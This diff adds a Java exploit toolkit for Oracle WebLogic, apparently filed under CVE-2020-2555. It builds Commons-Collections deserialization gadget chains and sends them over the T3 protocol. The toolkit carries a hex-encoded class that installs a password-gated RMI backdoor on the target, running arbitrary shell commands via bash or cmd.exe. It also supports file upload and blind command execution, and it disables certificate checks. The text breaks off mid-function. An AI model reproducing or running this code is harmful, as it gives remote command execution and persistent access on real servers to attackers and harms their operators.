System.out.println("开始删除rmi实例"); + WebLogicOperation.unInstallRmi(host, port); + System.out.println("后门删除实例"); + System.exit(0); + } + + executeBlind(host, port); + + if (Main.cmdLine.hasOption("upload") && Main.cmdLine.hasOption("src") && Main.cmdLine.hasOption("dst")) { + System.out.println("开始上传文件"); + String path = Main.cmdLine.getOptionValue("src"); + byte[] fileContent = BytesOperation.GetByteByFile(path); + WebLogicOperation.uploadFile(host, port, Main.cmdLine.getOptionValue("dst"), fileContent); + System.out.println("file upload success"); + System.exit(0); + } + + if (checkIsAlreadyInstalled(host, port)) { + System.exit(0); + } + + System.out.println("开始安装rmi实例"); + WebLogicOperation.installRmi(host, port); + System.out.println("等待rmi实例安装成功 "); + Thread.sleep(2000); + + Context initialContext = getInitialContext(converUrl(host, port)); + ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup("supeream"); + invokeRmi(remoteCode); + + } catch (Exception e) { + System.out.println("实例安装失败"); + String msg = e.getMessage(); + if (msg != null && msg.contains("Unrecognized option")) { + HelpFormatter formatter = new HelpFormatter(); + formatter.printHelp("supeream", options); + } else { + System.out.println("实例rmi安装失败 请切换-OB模式"); + e.printStackTrace(); + } + } + + } +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/payload/PayloadTest.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/payload/PayloadTest.java new file mode 100644 index 00000000..7642b886 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/payload/PayloadTest.java @@ -0,0 +1,22 @@ +package com.supeream.payload; + +import com.supeream.serial.BytesOperation; +import sun.org.mozilla.javascript.internal.DefiningClassLoader; + +/** + * Created by nike on 17/7/3. + */ +public class PayloadTest { + public static void main(String[] args) throws Exception { +// byte[] iRemoteCode = BytesOperation.GetByteByFile("/Users/nike/IdeaProjects/weblogic_cmd/out/production/weblogic_cmd/com/supeream/payload/IRemote.class"); +// System.out.println(BytesOperation.bytesToHexString(iRemoteCode)); + DefiningClassLoader definingClassLoader = new DefiningClassLoader(); +// Class cls = definingClassLoader.defineClass("com.supeream.payload.IRemote",iRemoteCode); + byte[] remoteCodeImpl = BytesOperation.GetByteByFile("/Users/nike/IdeaProjects/weblogic_cmd/out/production/weblogic_cmd/com/supeream/payload/RemoteImpl.class"); + System.out.println(BytesOperation.bytesToHexString(remoteCodeImpl)); + + Class cls_ = definingClassLoader.defineClass("com.supeream.payload.RemoteImpl", remoteCodeImpl); + Class.forName("com.supeream.payload.RemoteImpl"); + System.out.println(cls_); + } +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/payload/RemoteImpl.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/payload/RemoteImpl.java new file mode 100644 index 00000000..2d377292 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/payload/RemoteImpl.java @@ -0,0 +1,108 @@ +package com.supeream.payload; + +import sun.tools.asm.TryData; +import weblogic.cluster.singleton.ClusterMasterRemote; +import weblogic.utils.encoders.BASE64Decoder; + +import javax.naming.Context; +import javax.naming.InitialContext; +import java.io.BufferedReader; +import java.io.FileOutputStream; +import java.io.InputStreamReader; +import java.rmi.RemoteException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +/** + * Created by nike on 17/6/27. + */ + +public class RemoteImpl implements ClusterMasterRemote { + + public static void main(String[] args) { + + try { + RemoteImpl remote = new RemoteImpl(); + + if (args.length == 2 && args[0].equalsIgnoreCase("blind")) { + remote.getServerLocation(args[1]); + } else if (args.length == 1) { + Context ctx = new InitialContext(); + if (args[0].equalsIgnoreCase("install")) { + ctx.rebind("supeream", remote); + } else if (args[0].equalsIgnoreCase("uninstall")) { + ctx.unbind("supeream"); + } + } + } catch (Exception e) { + + } + } + + + @Override + public void setServerLocation(String cmd, String args) throws RemoteException { + + } + + public static void uploadFile(String path, byte[] content) { + try { + FileOutputStream fileOutputStream = new FileOutputStream(path); + fileOutputStream.write(content); + fileOutputStream.flush(); + fileOutputStream.close(); + }catch (Exception e) { + + } + } + + + @Override + public String getServerLocation(String cmd) throws RemoteException { + try { + + if (!cmd.startsWith("showmecode")) { + return "guess me?"; + } else { + cmd = cmd.substring(10); + } + + boolean isLinux = true; + String osTyp = System.getProperty("os.name"); + if (osTyp != null && osTyp.toLowerCase().contains("win")) { + isLinux = false; + } + + List cmds = new ArrayList(); + + if (cmd.startsWith("$NO$")) { + cmds.add(cmd.substring(4)); + }else if (isLinux) { + cmds.add("/bin/bash"); + cmds.add("-c"); + cmds.add(cmd); + } else { + cmds.add("cmd.exe"); + cmds.add("/c"); + cmds.add(cmd); + } + + ProcessBuilder processBuilder = new ProcessBuilder(cmds); + processBuilder.redirectErrorStream(true); + Process proc = processBuilder.start(); + + BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); + StringBuffer sb = new StringBuffer(); + + String line; + while ((line = br.readLine()) != null) { + sb.append(line).append("\n"); + } + + return sb.toString(); + } catch (Exception e) { + return e.getMessage(); + } + } +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/BytesOperation.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/BytesOperation.java new file mode 100644 index 00000000..784e416c --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/BytesOperation.java @@ -0,0 +1,75 @@ +package com.supeream.serial; + +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by Fernflower decompiler) +// + +import java.io.FileInputStream; + +public class BytesOperation { + + + public static byte[] hexStringToBytes(String hexString) { + if (hexString != null && !hexString.equals("")) { + hexString = hexString.toUpperCase(); + int length = hexString.length() / 2; + char[] hexChars = hexString.toCharArray(); + byte[] d = new byte[length]; + + for (int i = 0; i < length; ++i) { + int pos = i * 2; + d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1])); + } + + return d; + } else { + return null; + } + } + + private static byte charToByte(char c) { + return (byte) "0123456789ABCDEF".indexOf(c); + } + + public static byte[] byteMerger(byte[] byte_1, byte[] byte_2) { + byte[] byte_3 = new byte[byte_1.length + byte_2.length]; + System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length); + System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length); + return byte_3; + } + + public static String bytesToHexString(byte[] src) { + StringBuilder stringBuilder = new StringBuilder(""); + if (src == null || src.length <= 0) { + return null; + } + for (int i = 0; i < src.length; i++) { + int v = src[i] & 0xFF; + String hv = Integer.toHexString(v); + if (hv.length() < 2) { + stringBuilder.append(0); + } + stringBuilder.append(hv); + } + return stringBuilder.toString(); + } + + public static byte[] GetByteByFile(String FilePath) throws Exception { + FileInputStream fi = new FileInputStream(FilePath); + byte[] temp = new byte[50000000]; + int length = fi.read(temp); + byte[] file = new byte[length]; + + for (int i = 0; i < length; ++i) { + file[i] = temp[i]; + } + + fi.close(); + return file; + } + + public static void main(String[] args) throws Exception { + System.out.println(BytesOperation.bytesToHexString(BytesOperation.GetByteByFile("/Users/nike/IdeaProjects/weblogic_cmd/lib/remote.jar"))); + } +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/Reflections.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/Reflections.java new file mode 100644 index 00000000..81bcbf30 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/Reflections.java @@ -0,0 +1,33 @@ +package com.supeream.serial; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class Reflections { + + public static Field getField(final Class clazz, final String fieldName) throws Exception { + Field field = clazz.getDeclaredField(fieldName); + if (field == null && clazz.getSuperclass() != null) { + field = getField(clazz.getSuperclass(), fieldName); + } + field.setAccessible(true); + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + ctor.setAccessible(true); + return ctor; + } + +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/SerialDataGenerator.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/SerialDataGenerator.java new file mode 100644 index 00000000..8e03f2f1 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/SerialDataGenerator.java @@ -0,0 +1,102 @@ +package com.supeream.serial; + +import com.supeream.weblogic.BypassPayloadSelector; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; +import org.mozilla.classfile.DefiningClassLoader; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/** + * Created by nike on 17/7/3. + */ +public class SerialDataGenerator { + + private static final String REMOTE = "com.supeream.payload.RemoteImpl"; + private static final String remoteHex = "cafebabe0000003200d10a003500720700730a000200720800740a007500760a000200770700780a0007007208007908007a0b007b007c08007d0b007b007e07007f0700800a000f00810a000f00820a000f00830a000f00840800850a007500860800870a007500880800890a008a008b0a0075008c08008d0a0075008e07008f0a001d00720800900b009100920800930800940800950800960700970a002500980a002500990a0025009a07009b07009c0a009d009e0a002a009f0a002900a00700a10a002e00720a002900a20a002e00a30800a40a002e00a50a000e00a60700a70700a80100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100214c636f6d2f737570657265616d2f7061796c6f61642f52656d6f7465496d706c3b0100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100036374780100164c6a617661782f6e616d696e672f436f6e746578743b01000672656d6f7465010001650100154c6a6176612f6c616e672f457863657074696f6e3b010004617267730100135b4c6a6176612f6c616e672f537472696e673b01000d537461636b4d61705461626c650700730700a907007f0100117365745365727665724c6f636174696f6e010027284c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f537472696e673b2956010003636d640100124c6a6176612f6c616e672f537472696e673b01000a457863657074696f6e730700aa01000a75706c6f616446696c65010017284c6a6176612f6c616e672f537472696e673b5b42295601001066696c654f757470757453747265616d01001a4c6a6176612f696f2f46696c654f757470757453747265616d3b01000470617468010007636f6e74656e740100025b420100116765745365727665724c6f636174696f6e010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b01000262720100184c6a6176612f696f2f42756666657265645265616465723b01000273620100184c6a6176612f6c616e672f537472696e674275666665723b0100046c696e650100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b0700ab0700ac0700970700ad07009b0700a101000a536f7572636546696c6501000f52656d6f7465496d706c2e6a6176610c0037003801001f636f6d2f737570657265616d2f7061796c6f61642f52656d6f7465496d706c010005626c696e640700ab0c00ae00af0c0058005901001b6a617661782f6e616d696e672f496e697469616c436f6e74657874010007696e7374616c6c010008737570657265616d0700a90c00b000b1010009756e696e7374616c6c0c00b200b30100136a6176612f6c616e672f457863657074696f6e0100186a6176612f696f2f46696c654f757470757453747265616d0c003700b30c00b400b50c00b600380c00b7003801000a73686f776d65636f64650c00b800af0100096775657373206d653f0c00b900ba0100076f732e6e616d650700bb0c00bc00590c00bd00be01000377696e0c00bf00c00100136a6176612f7574696c2f41727261794c697374010004244e4f240700ac0c00c100c20100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c003700c30c00c400c50c00c600c70100166a6176612f696f2f42756666657265645265616465720100196a6176612f696f2f496e70757453747265616d5265616465720700ad0c00c800c90c003700ca0c003700cb0100166a6176612f6c616e672f537472696e674275666665720c00cc00be0c00cd00ce0100010a0c00cf00be0c00d000be0100106a6176612f6c616e672f4f626a65637401002e7765626c6f6769632f636c75737465722f73696e676c65746f6e2f436c75737465724d617374657252656d6f74650100146a617661782f6e616d696e672f436f6e746578740100186a6176612f726d692f52656d6f7465457863657074696f6e0100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100116a6176612f6c616e672f50726f63657373010010657175616c7349676e6f726543617365010015284c6a6176612f6c616e672f537472696e673b295a010006726562696e64010027284c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b2956010006756e62696e64010015284c6a6176612f6c616e672f537472696e673b29560100057772697465010005285b422956010005666c757368010005636c6f736501000a73746172747357697468010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b0100106a6176612f6c616e672f53797374656d01000b67657450726f706572747901000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b01000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b010018284c6a6176612f696f2f496e70757453747265616d3b2956010013284c6a6176612f696f2f5265616465723b2956010008726561644c696e65010006617070656e6401002c284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275666665723b010008746f537472696e6701000a6765744d6573736167650021000200350001003600000005000100370038000100390000002f00010001000000052ab70001b100000002003a00000006000100000015003b0000000c000100000005003c003d00000009003e003f00010039000000f90003000300000061bb000259b700034c2abe05a000192a03321204b6000599000e2b2a0432b6000657a7003b2abe04a00035bb000759b700084d2a03321209b6000599000f2c120a2bb9000b0300a700162a0332120cb6000599000b2c120ab9000d0200a700044cb100010000005c005f000e0003003a00000032000c0000001a0008001c0019001d0024001e002a001f00320020003d00210049002200540023005c0028005f002600600029003b0000002a00040032002a004000410002000800540042003d000100600000004300440001000000610045004600000047000000160005fc0024070048fc0024070049f900124207004a000001004b004c000200390000003f0000000300000001b100000002003a0000000600010000002f003b00000020000300000001003c003d000000000001004d004e0001000000010045004e0002004f00000004000100500009005100520001003900000090000300030000001bbb000f592ab700104d2c2bb600112cb600122cb60013a700044db10001000000160019000e0003003a0000001e00070000003300090034000e0035001200360016003900190037001a003a003b0000002a00040009000d005300540002001a00000043004400020000001b0055004e00000000001b00560057000100470000000700025907004a0000010058005900020039000002540005000a000000ee2b1214b600159a00061216b02b100ab600174c043d1218b800194e2dc600112db6001a121bb6001c990005033dbb001d59b7001e3a042b121fb6001599001319042b07b60017b90020020057a700441c99002319041221b9002002005719041222b9002002005719042bb90020020057a7002019041223b9002002005719041224b9002002005719042bb90020020057bb0025591904b700263a05190504b60027571905b600283a06bb002959bb002a591906b6002bb7002cb7002d3a07bb002e59b7002f3a081907b60030593a09c6001319081909b600311232b6003157a7ffe81908b60033b04d2cb60034b000020000000b00e8000e000c00e700e8000e0004003a0000006e001b0000004100090042000c00440013004700150048001b0049002b004a002d004d0036004f003f0050004f005100530052005d00530067005400730056007d0057008700580090005b009b005c00a2005d00a9005f00be006000c7006300d2006400e2006700e8006800e90069003b00000070000b001500d3005a005b0002001b00cd005c004e0003003600b2005d005e0004009b004d005f0060000500a9003f00610062000600be002a00630064000700c7002100650066000800cf00190067004e000900e90005004300440002000000ee003c003d0000000000ee004d004e000100680000000c0001003600b2005d0069000400470000004800080cfd00200107006afc002107006b231cff0036000907004807006a0107006a07006b07006c07006d07006e07006f0000fc001a07006aff0005000207004807006a000107004a004f000000040001005000010070000000020071"; + + + private static byte[] serialData(Transformer[] transformers) throws Exception { + final Transformer transformerChain = new ChainedTransformer(transformers); + final Map innerMap = new HashMap(); + // 初始化map 设置laymap + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + InvocationHandler handler = (InvocationHandler) Reflections + .getFirstCtor( + "sun.reflect.annotation.AnnotationInvocationHandler") + .newInstance(Override.class, lazyMap); + + final Map mapProxy = Map.class + .cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(), + new Class[]{Map.class}, handler)); + + handler = (InvocationHandler) Reflections.getFirstCtor( + "sun.reflect.annotation.AnnotationInvocationHandler") + .newInstance(Override.class, mapProxy); + + Object _handler = BypassPayloadSelector.selectBypass(handler); + return Serializables.serialize(_handler); + } + + private static Transformer[] defineAndLoadPayloadTransformerChain(String className, byte[] clsData, String[] bootArgs) throws Exception { + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(DefiningClassLoader.class), + new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), + new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), + new InvokerTransformer("defineClass", + new Class[]{String.class, byte[].class}, new Object[]{className, clsData}), + new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}), + new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{bootArgs}}), + new ConstantTransformer(new HashSet())}; + return transformers; + } + + private static Transformer[] uploadTransformerChain(String className, byte[] clsData, String filePath, byte[] content) throws Exception { + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(DefiningClassLoader.class), + new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), + new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), + new InvokerTransformer("defineClass", + new Class[]{String.class, byte[].class}, new Object[]{className, clsData}), + new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"uploadFile", new Class[]{String.class, byte[].class}}), + new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{filePath, content}}), + new ConstantTransformer(new HashSet())}; + return transformers; + } + + private static Transformer[] blindExecutePayloadTransformerChain(String[] execArgs) throws Exception { + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[]{ + String.class, Class[].class}, new Object[]{ + "getRuntime", new Class[0]}), + new InvokerTransformer("invoke", new Class[]{ + Object.class, Object[].class}, new Object[]{ + null, new Object[0]}), + new InvokerTransformer("exec", + new Class[]{String[].class}, new Object[]{execArgs}), + new ConstantTransformer(new HashSet())}; + return transformers; + } + + public static byte[] serialRmiDatas(String[] bootArgs) throws Exception { + return serialData(defineAndLoadPayloadTransformerChain(SerialDataGenerator.REMOTE, BytesOperation.hexStringToBytes(SerialDataGenerator.remoteHex), bootArgs)); + } + + public static byte[] serialBlindDatas(String[] execArgs) throws Exception { + return serialData(blindExecutePayloadTransformerChain(execArgs)); + } + + public static byte[] serialUploadDatas(String filePath, byte[] content) throws Exception { + return serialData(uploadTransformerChain(SerialDataGenerator.REMOTE, BytesOperation.hexStringToBytes(SerialDataGenerator.remoteHex), filePath, content)); + } + +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/Serializables.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/Serializables.java new file mode 100644 index 00000000..719a6f04 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/Serializables.java @@ -0,0 +1,30 @@ +package com.supeream.serial; + +import java.io.*; + +public class Serializables { + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + objOut.flush(); + objOut.close(); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + +} \ No newline at end of file diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/SocketFactory.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/SocketFactory.java new file mode 100644 index 00000000..6dd51d12 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/SocketFactory.java @@ -0,0 +1,34 @@ +package com.supeream.ssl; + +import com.supeream.Main; + +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSocketFactory; +import javax.net.ssl.TrustManager; +import java.net.Socket; +import java.security.SecureRandom; + +/** + * Created by nike on 17/6/29. + */ +public class SocketFactory { + private SocketFactory() { + } + + public static Socket newSocket(String host, int port) throws Exception { + Socket socket = null; + if (Main.cmdLine.hasOption("https")) { + SSLContext context = SSLContext.getInstance("SSL"); + // 初始化 + context.init(null, + new TrustManager[]{new TrustManagerImpl()}, + new SecureRandom()); + SSLSocketFactory factory = context.getSocketFactory(); + socket = factory.createSocket(host, port); + } else { + socket = new Socket(host, port); + } + + return socket; + } +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/TrustManagerImpl.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/TrustManagerImpl.java new file mode 100644 index 00000000..80337477 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/TrustManagerImpl.java @@ -0,0 +1,25 @@ +package com.supeream.ssl; + +import javax.net.ssl.X509TrustManager; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; + +/** + * Created by nike on 17/6/29. + */ +public class TrustManagerImpl implements X509TrustManager { + + @Override + public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { + } + + @Override + public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { + + } + + @Override + public X509Certificate[] getAcceptedIssuers() { + return null; + } +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/WeblogicTrustManager.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/WeblogicTrustManager.java new file mode 100644 index 00000000..f1641dc9 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/WeblogicTrustManager.java @@ -0,0 +1,15 @@ +package com.supeream.ssl; + +import weblogic.security.SSL.TrustManager; + +import java.security.cert.X509Certificate; + +/** + * Created by nike on 17/6/29. + */ +public class WeblogicTrustManager implements TrustManager { + @Override + public boolean certificateCallback(X509Certificate[] x509Certificates, int i) { + return true; + } +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/BypassPayloadSelector.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/BypassPayloadSelector.java new file mode 100644 index 00000000..d9839880 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/BypassPayloadSelector.java @@ -0,0 +1,44 @@ +package com.supeream.weblogic; + +import com.supeream.Main; +import com.supeream.serial.Serializables; +import weblogic.corba.utils.MarshalledObject; +import weblogic.jms.common.StreamMessageImpl; + +import java.io.IOException; + +/** + * Created by nike on 17/6/26. + */ +public class BypassPayloadSelector { + + private static Object marshalledObject(Object payload) { + MarshalledObject marshalledObject = null; + try { + marshalledObject = new MarshalledObject(payload); + } catch (IOException e) { + e.printStackTrace(); + } + return marshalledObject; + } + + + public static Object streamMessageImpl(byte[] object) throws Exception { + + StreamMessageImpl streamMessage = new StreamMessageImpl(); + streamMessage.setDataBuffer(object, object.length); + return streamMessage; + } + + public static Object selectBypass(Object payload) throws Exception { + + if (Main.TYPE.equalsIgnoreCase("marshall")) { + payload = marshalledObject(payload); + } else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) { + payload = streamMessageImpl(Serializables.serialize(payload)); + } + return payload; + } + + +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/ObjectTest.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/ObjectTest.java new file mode 100644 index 00000000..2d9e596c --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/ObjectTest.java @@ -0,0 +1,27 @@ +package com.supeream.weblogic; + +import com.supeream.serial.BytesOperation; + +import java.io.*; + +/** + * Created by nike on 17/7/11. + */ +public class ObjectTest { + public static void main(String[] args) throws Exception { + + + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); + objectOutputStream.writeUTF("xxx"); + String xx = BytesOperation.bytesToHexString(byteArrayOutputStream.toByteArray()); + System.out.println(xx); + byte[] cons = BytesOperation.hexStringToBytes(xx); + + + + ByteArrayInputStream bis = new ByteArrayInputStream(cons); + ObjectInputStream objectInputStream = new ObjectInputStream(bis); + objectInputStream.readObject(); + } +} diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/T3ProtocolOperation.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/T3ProtocolOperation.java new file mode 100644 index 00000000..c0302756 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/T3ProtocolOperation.java @@ -0,0 +1,130 @@ +package com.supeream.weblogic; + +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by Fernflower decompiler) +// + +import com.supeream.Main; +import com.supeream.serial.BytesOperation; +import com.supeream.serial.Serializables; +import com.supeream.ssl.SocketFactory; +import weblogic.rjvm.JVMID; +import weblogic.security.acl.internal.AuthenticatedUser; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.net.InetAddress; +import java.net.Socket; + +public class T3ProtocolOperation { + + + public static void send(String host, String port, byte[] payload) throws Exception { + Socket s = SocketFactory.newSocket(host, Integer.parseInt(port)); + //AS ABBREV_TABLE_SIZE HL remoteHeaderLength 鐢ㄦ潵鍋歴kip鐨� + String header = "t3 7.0.0.0\nAS:10\nHL:19\n\n"; + + if (Main.cmdLine.hasOption("https")) { + header = "t3s 7.0.0.0\nAS:10\nHL:19\n\n"; + } + + s.getOutputStream().write(header.getBytes()); + s.getOutputStream().flush(); + BufferedReader br = new BufferedReader(new InputStreamReader(s.getInputStream())); + String versionInfo = br.readLine(); + if (Main.version == null) { + versionInfo = versionInfo.replace("HELO:", ""); + versionInfo = versionInfo.replace(".false", ""); + System.out.println("weblogic version:" + versionInfo); + Main.version = versionInfo; + } +// String asInfo = br.readLine(); +// String hlInfo = br.readLine(); +// System.out.println(versionInfo+"\n"+asInfo+"\n"+hlInfo); + + //cmd=1,QOS=1,flags=1,responseId=4,invokableId=4,abbrevOffset=4,countLength=1,capacityLength=1 + + //t3 protocol + String cmd = "08"; + String qos = "65"; + String flags = "01"; + String responseId = "ffffffff"; + String invokableId = "ffffffff"; + String abbrevOffset = "00000000"; + String countLength = "01"; + String capacityLength = "10";//蹇呴』澶т簬涓婇潰璁剧疆鐨凙S鍊� + String readObjectType = "00";//00 object deserial 01 ascii + + StringBuilder datas = new StringBuilder(); + datas.append(cmd); + datas.append(qos); + datas.append(flags); + datas.append(responseId); + datas.append(invokableId); + datas.append(abbrevOffset); + + //because of 2 times deserial + countLength = "04"; + datas.append(countLength); + + //define execute operation + String pahse1Str = BytesOperation.bytesToHexString(payload); + datas.append(capacityLength); + datas.append(readObjectType); + datas.append(pahse1Str); + + //for compatiable fo hide + //for compatiable fo hide + AuthenticatedUser authenticatedUser = new AuthenticatedUser("weblogic", "admin123"); + String phase4 = BytesOperation.bytesToHexString(Serializables.serialize(authenticatedUser)); + datas.append(capacityLength); + datas.append(readObjectType); + datas.append(phase4); + + JVMID src = new JVMID(); + + Constructor constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean.class); + constructor.setAccessible(true); + src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1"),false); + Field serverName = src.getClass().getDeclaredField("differentiator"); + serverName.setAccessible(true); + serverName.set(src,1); + + datas.append(capacityLength); + datas.append(readObjectType); + datas.append(BytesOperation.bytesToHexString(Serializables.serialize(src))); + + JVMID dst = new JVMID(); + + constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean.class); + constructor.setAccessible(true); + src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1"),false); + serverName = src.getClass().getDeclaredField("differentiator"); + serverName.setAccessible(true); + serverName.set(dst,1); + datas.append(capacityLength); + datas.append(readObjectType); + datas.append(BytesOperation.bytesToHexString(Serializables.serialize(dst))); + + byte[] headers = BytesOperation.hexStringToBytes(datas.toString()); + int len = headers.length + 4; + String hexLen = Integer.toHexString(len); + StringBuilder dataLen = new StringBuilder(); + + if (hexLen.length() < 8) { + for (int i = 0; i < (8 - hexLen.length()); i++) { + dataLen.append("0"); 